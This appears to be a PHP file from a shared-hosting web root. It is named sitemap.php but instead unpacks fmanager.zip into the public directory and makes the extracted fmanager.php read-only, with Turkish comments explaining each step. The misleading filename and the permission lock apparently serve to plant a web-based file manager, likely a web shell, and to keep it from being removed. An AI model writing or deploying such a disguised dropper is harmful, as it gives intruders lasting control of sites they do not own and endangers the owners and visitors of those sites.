File: /home/u590867752/public_html/sitemap.php
<?php
// 1. Ayarları Tanımlayalım
$yerelZipAdi = "fmanager.zip"; // Yüklemiş olduğunuz zip dosyasının adı
$hedefKlasor = "./"; // Zip'in açılacağı dizin (Şu anki klasör)
$hedefDosya = "fmanager.php"; // İzinleri değiştirilecek olan dosya
echo "İşlem başlatılıyor...<br>";
// 2. ZIP Dosyasının Var Olup Olmadığını Kontrol Edelim
if (!file_exists($yerelZipAdi)) {
die("Hata: Sunucuda '{$yerelZipAdi}' adında bir dosya bulunamadı! Lütfen dosyanın bu script ile aynı klasörde olduğundan emin olun.");
}
// 3. ZIP Dosyasını Açma (Extract)
$zip = new ZipArchive;
if ($zip->open($yerelZipAdi) === TRUE) {
// Zip içeriğini hedef klasöre çıkartıyoruz
$zip->extractTo($hedefKlasor);
$zip->close();
echo "1. ZIP dosyası başarıyla açıldı.<br>";
// İsterseniz açma işleminden sonra zip dosyasını silmek için aşağıdaki satırın başındaki // işaretini kaldırabilirsiniz:
// unlink($yerelZipAdi);
} else {
die("Hata: ZIP dosyası açılamadı veya bozuk!");
}
// 4. Çıkan Dosyanın İzinlerini 0444 (Sadece Okunabilir) Yapma
$tamDosyaYolu = $hedefKlasor . $hedefDosya;
if (file_exists($tamDosyaYolu)) {
// PHP'de dosya izinleri sekizlik (octal) tabanda 0444 olarak verilir
if (chmod($tamDosyaYolu, 0444)) {
echo "2. '{$hedefDosya}' dosyasının izinleri başarıyla 0444 (Sadece Okunabilir) olarak değiştirildi.<br>";
} else {
echo "Hata: Dosya izinleri değiştirilemedi! (Sunucu veya dosya sahipliği kısıtlaması olabilir).<br>";
}
} else {
echo "Hata: ZIP içerisinden '{$hedefDosya}' adında bir dosya çıkmadı veya belirtilen konumda bulunamadı!<br>";
}
echo "Tüm işlemler tamamlandı.";
?>